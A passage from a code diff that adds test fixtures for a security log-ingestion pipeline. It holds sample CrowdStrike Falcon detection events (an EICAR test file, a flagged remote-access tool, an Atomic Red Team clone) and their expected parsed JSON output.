Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"The Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371761}],"GrandParentCommandLine":"winlogon.exe","GrandParentImageFileName":"winlogon.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\winlogon.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"23ba370fc8357f6f827812da142b5fcb","Name":"Known Malware","NetworkAccesses":[{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49729,"Protocol":"TCP","RemoteAddress":"150.171.27.12","RemotePort":443},{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49730,"Protocol":"TCP","RemoteAddress":"2.22.144.74","RemotePort":443},{"AccessTimestamp":1751371787,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49948,"Protocol":"TCP","RemoteAddress":"2.18.27.89","RemotePort":443}],"Objective":"Follow Through","ParentCommandLine":"C:\\Windows\\system32\\userinit.exe","ParentImageFileName":"userinit.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","ParentProcessId":38850737845,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10418,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":38850874557,"ProcessStartTime":1751371562,"ReferrerUrl":"C:\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com.zip","SHA1String":"0000000000000000000000000000000000000000","SHA256String":"a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Execution","Technique":"User Execution","Type":"ldt","UserName":"win10_user3","MitreAttack":[{"Tactic":"Execution","Technique":"User Execution","PatternID":10418}]},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1751371899000,"eventType":"EppDetectionSummaryEvent","offset":1956190,"version":"1.0"}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-epp-detection-summary.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-epp-detection-summary.log-expected.json
new file mode 100644
index 0000000000..758781333e
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-epp-detection-summary.log-expected.json
@@ -0,0 +1,3117 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2023-06-15T16:06:52.400Z",
+            "crowdstrike": {
+                "event": {
+                    "AggregateId": "aggind:c8d1292a8a904216aa25ab728f4b45fd:21483417902",
+                    "AssociatedFile": "\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe",
+                    "CompositeId": "44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333",
+                    "DataDomains": "Endpoint",
+                    "Description": "This file is classified as Adware/PUP based on its SHA256 hash.",
+                    "GrandparentCommandLine": "C:\\Windows\\system32\\services.exe",
+                    "GrandparentImageFileName": "services.exe",
+                    "GrandparentImageFilePath": "\\Device\\HarddiskVolume2\\Windows\\System32\\services.exe",
+                    "HostGroups": [
+                        "ba7f8041fd6c47dcae4cff3194861088",
+                        "c8d1292a8a904216aa25ab728f4b45fd"
+                    ],
+                    "IOCType": "hash_sha256",
+                    "IOCValue": "faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976",
+                    "MACAddress": "01-23-45-67-89-ab",
+                    "Objective": "Falcon Detection Method",
+                    "ParentImageFileName": "rutserv.exe",
+                    "ParentImageFilePath": "\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe",
+                    "PatternDispositionFlags": {
+                        "BlockingUnsupportedOrDisabled": false,
+                        "BootupSafeguardEnabled": false,
+                        "CriticalProcessDisabled": false,
+                        "Detect": false,
+                        "FsOperationBlocked": false,
+                        "HandleOperationDowngraded": false,
+                        "InddetMask": false,
+                        "Indicator": false,
+                        "KillActionFailed": false,
+                        "KillParent": false,
+                        "KillProcess": false,
+                        "KillSubProcess": false,
+                        "OperationBlocked": false,
+                        "PolicyDisabled": false,
+                        "ProcessBlocked": true,
+                        "QuarantineFile": false,
+                        "QuarantineMachine": false,
+                        "RegistryOperationBlocked": false,
+                        "Rooting": false,
+                        "SensorOnly": false,
+                        "SuspendParent": false,
+                        "SuspendProcess": false
+                    },
+                    "PatternDispositionValue": 2048,
+                    "PatternId": "5728",
+                    "SensorId": "c8d1292a8a904216aa25ab728f4b45fd",
+                    "Severity": 30,
+                    "SeverityName": "Low",
+                    "SourceProducts": "Falcon Insight",
+                    "SourceVendors": "CrowdStrike",
+                    "Type": "ldt"
+                },
+                "metadata": {
+                    "customerIDString": "123123abcd",
+                    "eventType": "EppDetectionSummaryEvent",
+                    "offset": 1,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "Prevention, process was blocked from execution.",
+                "category": [
+                    "malware"
+                ],
+                "created": "2023-06-15T16:06:52.400Z",
+                "kind": "alert",
+                "original": "{\"metadata\":{\"customerIDString\":\"123123abcd\",\"offset\":1,\"eventType\":\"EppDetectionSummaryEvent\",\"eventCreationTime\":1686845212400,\"version\":\"1.0\"},\"event\":{\"ProcessStartTime\":1718032715,\"ProcessEndTime\":1718032715,\"ProcessId\":43009301133,\"ParentProcessId\":25841449898,\"Hostname\":\"DESKTOP1111\",\"UserName\":\"USER11111\",\"Name\":\"NGAV\",\"Description\":\"This file is classified as Adware/PUP based on its SHA256 hash.\",\"Severity\":30,\"SeverityName\":\"Low\",\"FileName\":\"rfusclient.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume2\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rfusclient.exe\",\"CommandLine\":\"\\\"C:\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rfusclient.exe\\\" /rsession\",\"SHA256String\":\"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976\",\"MD5String\":\"848a53dc549be0386e5da0f49700c389\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"LogonDomain\":\"OVAC\",\"FalconHostLink\":\"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999\",\"AgentId\":\"c8d1292a8a904216aa25ab728f4b45fd\",\"IOCType\":\"hash_sha256\",\"IOCValue\":\"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976\",\"CompositeId\":\"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333\",\"LocalIP\":\"81.2.69.144\",\"MACAddress\":\"01-23-45-67-89-ab\",\"Tactic\":\"Malware\",\"Technique\":\"PUP\",\"Objective\":\"Falcon Detection Method\",\"PatternDispositionDescription\":\"Prevention, process was blocked from execution.\",\"PatternDispositionValue\":2048,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":false,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":true,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false},\"ParentImageFileName\":\"rutserv.exe\",\"ParentCommandLine\":\"\\\"C:\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rutserv.exe\\\"\",\"GrandParentImageFileName\":\"services.exe\",\"GrandParentCommandLine\":\"C:\\\\Windows\\\\system32\\\\services.exe\",\"HostGroups\":\"ba7f8041fd6c47dcae4cff3194861088,c8d1292a8a904216aa25ab728f4b45fd\",\"AssociatedFile\":\"\\\\Device\\\\HarddiskVolume2\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rfusclient.exe\",\"PatternId\":5728,\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"AggregateId\":\"aggind:c8d1292a8a904216aa25ab728f4b45fd:21483417902\",\"Type\":\"ldt\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume2\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rutserv.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\services.exe\",\"LocalIPv6\":\"\"}}",
+                "reference": "https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999",
+                "severity": 21,
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "hash": {
+                    "md5": "848a53dc549be0386e5da0f49700c389",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976"
+                },
+                "name": "rfusclient.exe",
+                "path": "\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe"
+            },
+            "host": {
+                "domain": "OVAC",
+                "name": "DESKTOP1111"
+            },
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "process": {
+                "args": [
+                    "\"C:\\Program",
+                    "Files",
+                    "(x86)\\Remote",
+                    "Utilities",
+                    "-",
+                    "Host\\rfusclient.exe\"",
+                    "/rsession"
+                ],
+                "command_line": "\"C:\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe\" /rsession",
+                "end": "2024-06-10T15:18:35.000Z",
+                "entity_id": "43009301133",
+                "executable": "\"C:\\Program",
+                "name": "rfusclient.exe",
+                "parent": {
+                    "args": [
+                        "\"C:\\Program",
+                        "Files",
+                        "(x86)\\Remote",
+                        "Utilities",
+                        "-",
+                        "Host\\rutserv.exe\""
+                    ],
+                    "command_line": "\"C:\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe\"",
+                    "entity_id": "25841449898",
+                    "executable": "\"C:\\Program",
+                    "pid": 25841449898
+                },
+                "pid": 43009301133,
+                "start": "2024-06-10T15:18:35.000Z"
+            },
+            "related": {
+                "hash": [
+                    "0000000000000000000000000000000000000000",
+                    "faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976",
+                    "848a53dc549be0386e5da0f49700c389"
+                ],
+                "hosts": [
+                    "DESKTOP1111"
+                ],
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "user": [
+                    "USER11111"
+                ]
+            },
+            "rule": {
+                "name": "NGAV"
+            },
+            "source": {
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": "81.2.69.144"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "framework": "CrowdStrike Falcon Detections Framework",
+                "tactic": {
+                    "name": [
+                        "Malware"
+                    ]
+                },
+                "technique": {
+                    "name": [
+                        "PUP"
+                    ]
+                }
+            },
+            "user": {
+                "name": "USER11111"
+            }
+        },
+        {
+            "@timestamp": "2023-06-15T16:06:52.400Z",
+            "crowdstrike": {
+                "event": {
+                    "AggregateId": "aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111",
+                    "CompositeId": "44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333",
+                    "DataDomains": "Endpoint",
+                    "Description": "A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.",
+                    "FilesWritten": [
+                        {
+                            "FileName": "test_upx_header_changed",
+                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/",
+                            "Timestamp": "2024-06-25T10:06:06.000Z"
+                        },
+                        {
+                            "FileName": "test_upx",
+                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/",
+                            "Timestamp": "2024-06-25T10:06:06.000Z"
+                        },
+                        {
+                            "FileName": "CreateProcessWithPipe.exe",
+                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/",
+                            "Timestamp": "2024-06-25T10:06:06.000Z"
+                        },
+                        {
+                            "FileName": "T1055.exe",
+                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.004/bin/",
+                            "Timestamp": "2024-06-25T10:06:06.000Z"
+                        },
+                        {
+                            "FileName": "msys-2.0.dll",
+                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/",
+                            "Timestamp": "2024-06-25T10:06:06.000Z"
+                        },
+                        {
+                            "FileName": "calc.dll",
+                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1047/bin/",
+                            "Timestamp": "2024-06-25T10:06:06.000Z"
+                        },
+                        {
+                            "FileName": "T1055.011_x64.exe",
+                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.011/bin/",
+                            "Timestamp": "2024-06-25T10:06:06.000Z"
+                        },
+                        {
+                            "FileName": "EtwpCreateEtwThread.exe",
+                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/",
+                            "Timestamp": "2024-06-25T10:06:06.000Z"
+                        },
+                        {
+                            "FileName": "CreateProcess.exe",
+                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/",
+                            "Timestamp": "2024-06-25T10:06:06.000Z"
+                        },
+                        {
+                            "FileName": "T1036.003.exe",
+                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1036.003/bin/",
+                            "Timestamp": "2024-06-25T10:06:06.000Z"
+                        }
+                    ],
+                    "GrandparentCommandLine": "/usr/sbin/sshd -D -R",
+                    "GrandparentImageFileName": "sshd",
+                    "GrandparentImageFilePath": "/usr/sbin/sshd",
+                    "HostGroups": [
+                        "44be50f58ccfcfcfcfcfcfcfcffc"
+                    ],
+                    "MACAddress": "02-42-d8-66-fe-03",
+                    "Objective": "Falcon Detection Method",
+                    "ParentImageFileName": "bash",
+                    "ParentImageFilePath": "/usr/bin/bash",
+                    "PatternDispositionFlags": {
+                        "BlockingUnsupportedOrDisabled": false,
+                        "BootupSafeguardEnabled": false,
+                        "CriticalProcessDisabled": false,
+                        "Detect": false,
+                        "FsOperationBlocked": false,
+                        "HandleOperationDowngraded": false,
+                        "InddetMask": false,
+                        "Indicator": false,
+                        "KillActionFailed": false,
+                        "KillParent": false,
+                        "KillProcess": true,
+                        "KillSubProcess": false,
+                        "OperationBlocked": false,
+                        "PolicyDisabled": true,
+                        "ProcessBlocked": false,
+                        "QuarantineFile": false,
+                        "QuarantineMachine": false,
+                        "RegistryOperationBlocked": false,
+                        "Rooting": false,
+                        "SensorOnly": false,
+                        "SuspendParent": false,
+                        "SuspendProcess": false
+                    },
+                    "PatternDispositionValue": 272,
+                    "PatternId": "30115",
+                    "SensorId": "c8d1292a8a904216aa25ab728f4b45fd",
+                    "Severity": 70,
+                    "SeverityName": "High",
+                    "SourceProducts": "Falcon Insight",
+                    "SourceVendors": "CrowdStrike",
+                    "Type": "ldt"
+                },
+                "metadata": {
+                    "customerIDString": "123123abcd",
+                    "eventType": "EppDetectionSummaryEvent",
+                    "offset": 1,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "Detection, process would have been killed if related prevention policy setting was enabled.",
+                "category": [
+                    "malware"
+                ],
+                "created": "2023-06-15T16:06:52.400Z",
+                "kind": "alert",
+                "original": "{\"metadata\":{\"customerIDString\":\"123123abcd\",\"offset\":1,\"eventType\":\"EppDetectionSummaryEvent\",\"eventCreationTime\":1686845212400,\"version\":\"1.0\"},\"event\":{\"ProcessStartTime\":1719309930,\"ProcessEndTime\":0,\"ProcessId\":1719309930613520072,\"ParentProcessId\":1719308637781199091,\"Hostname\":\"linux-vm\",\"UserName\":\"azureuser\",\"Name\":\"Known Malware\",\"Description\":\"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.\",\"Severity\":70,\"SeverityName\":\"High\",\"FileName\":\"git\",\"FilePath\":\"/usr/bin/git\",\"CommandLine\":\"git clone https://github.com/redcanaryco/atomic-red-team.git\",\"SHA256String\":\"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc\",\"MD5String\":\"675853ca01ec441df7a015b91a7e1272\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"LogonDomain\":\"\",\"FilesWritten\":[{\"Timestamp\":1719309966,\"FileName\":\"test_upx_header_changed\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/\"},{\"Timestamp\":1719309966,\"FileName\":\"test_upx\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/\"},{\"Timestamp\":1719309966,\"FileName\":\"CreateProcessWithPipe.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1055.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"msys-2.0.dll\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/\"},{\"Timestamp\":1719309966,\"FileName\":\"calc.dll\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1047/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1055.011_x64.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"EtwpCreateEtwThread.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"CreateProcess.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1036.003.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/\"}],\"FalconHostLink\":\"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999\",\"AgentId\":\"c8d1292a8a904216aa25ab728f4b45fd\",\"CompositeId\":\"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333\",\"LocalIP\":\"172.17.0.1\",\"MACAddress\":\"02-42-d8-66-fe-03\",\"Tactic\":\"Malware\",\"Technique\":\"Malicious File\",\"Objective\":\"Falcon Detection Method\",\"PatternDispositionDescription\":\"Detection, process would have been killed if related prevention policy setting was enabled.\",\"PatternDispositionValue\":272,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":true,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":true,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":false,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false},\"ParentImageFileName\":\"bash\",\"ParentCommandLine\":\"-bash\",\"GrandParentImageFileName\":\"sshd\",\"GrandParentCommandLine\":\"/usr/sbin/sshd -D -R\",\"HostGroups\":\"44be50f58ccfcfcfcfcfcfcfcffc\",\"PatternId\":30115,\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"AggregateId\":\"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111\",\"Type\":\"ldt\",\"ParentImageFilePath\":\"/usr/bin/bash\",\"GrandParentImageFilePath\":\"/usr/sbin/sshd\",\"LocalIPv6\":\"\"}}",
+                "reference": "https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999",
+                "severity": 73,
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "hash": {
+                    "md5": "675853ca01ec441df7a015b91a7e1272",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc"
+                },
+                "name": "git",
+                "path": "/usr/bin/git"
+            },
+            "host": {
+                "name": "linux-vm"
+            },
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "process": {
+                "args": [
+                    "git",
+                    "clone",
+                    "https://github.com/redcanaryco/atomic-red-team.git"
+                ],
+                "command_line": "git clone https://github.com/redcanaryco/atomic-red-team.git",
+                "entity_id": "1719309930613520072",
+                "executable": "git",
+                "name": "git",
+                "parent": {
+                    "args": [
+                        "-bash"
+                    ],
+                    "command_line": "-bash",
+                    "entity_id": "1719308637781199091",
+                    "executable": "-bash",
+                    "pid": 1719308637781199091
+                },
+                "pid": 1719309930613520072,
+                "start": "2024-06-25T10:05:30.000Z"
+            },
+            "related": {
+                "hash": [
+                    "0000000000000000000000000000000000000000",
+                    "29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc",
+                    "675853ca01ec441df7a015b91a7e1272"
+                ],
+                "hosts": [
+                    "linux-vm"
+                ],
+                "ip": [
+                    "172.17.0.1"
+                ],
+                "user": [
+                    "azureuser"
+                ]
+            },
+            "rule": {
+                "name": "Known Malware"
+            },
+            "source": {
+                "ip": "172.17.0.1"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "framework": "CrowdStrike Falcon Detections Framework",
+                "tactic": {
+                    "name": [
+                        "Malware"
+                    ]
+                },
+                "technique": {
+                    "name": [
+                        "Malicious File"
+                    ]
+                }
+            },
+            "user": {
+                "name": "azureuser"
+            }
+        },
+        {
+            "@timestamp": "2023-06-15T16:06:52.400Z",
+            "crowdstrike": {
+                "event": {
+                    "CompositeId": "7da61e27e34f4b8394081896af72e2c7",
+                    "DataDomains": "Endpoint",
+                    "HostGroups": [
+                        "2a5927e82d644aa9",
+                        "be74ccf2c2f444cf900"
+                    ],
+                    "MACAddress": "88-44-66-77-11-22",
+                    "Objective": "Falcon Detection Method",
+                    "SensorId": "1122025ec596478d830520000000000",
+                    "Severity": 70,
+                    "SourceProducts": "Falcon Insight",
+                    "SourceVendors": "CrowdStrike",
+                    "Type": "ods"
+                },
+                "metadata": {
+                    "customerIDString": "123123abcd",
+                    "eventType": "EppDetectionSummaryEvent",
+                    "offset": 1,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "category": [
+                    "malware"
+                ],
+                "created": "2023-06-15T16:06:52.400Z",
+                "kind": "alert",
+                "original": "{\"metadata\":{\"customerIDString\":\"123123abcd\",\"offset\":1,\"eventType\":\"EppDetectionSummaryEvent\",\"eventCreationTime\":1686845212400,\"version\":\"1.0\"},\"event\":{\"Hostname\":\"FRHOSTNAME\",\"Name\":\"OnDemandScanfiletest\",\"Severity\":70,\"FileName\":\"testfile.vmx\",\"FilePath\":\"D:\\\\RECYCLER\\\\testpath\\\\testfile.vmx\",\"SHA256String\":\"774f50830a645392a94338815913e281096f1594ce5f4d992cf3f167fde509a1\",\"FalconHostLink\":\"https://falcon.eu-1.crowdstrike.com/activity-v2/detections\",\"AgentId\":\"1122025ec596478d830520000000000\",\"CompositeId\":\"7da61e27e34f4b8394081896af72e2c7\",\"LocalIP\":\"81.2.69.144\",\"MACAddress\":\"88-44-66-77-11-22\",\"Tactic\":\"Machine Learning\",\"Technique\":\"Sensor-based ML\",\"Objective\":\"Falcon Detection Method\",\"HostGroups\":\"2a5927e82d644aa9,be74ccf2c2f444cf900\",\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"Type\":\"ods\",\"LocalIPv6\":\"\"}}",
+                "reference": "https://falcon.eu-1.crowdstrike.com/activity-v2/detections",
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "hash": {
+                    "sha256": "774f50830a645392a94338815913e281096f1594ce5f4d992cf3f167fde509a1"
+                },
+                "name": "testfile.vmx",
+                "path": "D:\\RECYCLER\\testpath\\testfile.vmx"
+            },
+            "host": {
+                "name": "FRHOSTNAME"
+            },
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "process": {
+                "name": "testfile.vmx"
+            },
+            "related": {
+                "hash": [
+                    "774f50830a645392a94338815913e281096f1594ce5f4d992cf3f167fde509a1"
+                ],
+                "hosts": [
+                    "FRHOSTNAME"
+                ],
+                "ip": [
+                    "81.2.69.144"
+                ]
+            },
+            "rule": {
+                "name": "OnDemandScanfiletest"
+            },
+            "source": {
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": "81.2.69.144"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "framework": "CrowdStrike Falcon Detections Framework",
+                "tactic": {
+                    "name": [
+                        "Machine Learning"
+                    ]
+                },
+                "technique": {
+                    "name": [
+                        "Sensor-based ML"
+                    ]
+                }
+            }
+        },
+        {
+            "@timestamp": "2023-06-15T16:06:52.400Z",
+            "crowdstrike": {
+                "event": {
+                    "AggregateId": "aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111",
+                    "CompositeId": "44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333",
+                    "DataDomains": "Endpoint",
+                    "Description": "A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.",
+                    "FilesWritten": [
+                        {
+                            "FileName": "test_upx_header_changed",
+                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/",
+                            "Timestamp": "2024-06-25T10:06:06.000Z"
+                        },
+                        {
+                            "FileName": "test_upx",
+                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/",
+                            "Timestamp": "2024-06-25T10:06:06.000Z"
+                        },
+                        {
+                            "FileName": "CreateProcessWithPipe.exe",
+                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/",
+                            "Timestamp": "2024-06-25T10:06:06.000Z"
+                        },
+                        {
+                            "FileName": "T1055.exe",
+                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.004/bin/",
+                            "Timestamp": "2024-06-25T10:06:06.000Z"
+                        },
+                        {
+                            "FileName": "msys-2.0.dll",
+                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/",
+                            "Timestamp": "2024-06-25T10:06:06.000Z"
+                        },
+                        {
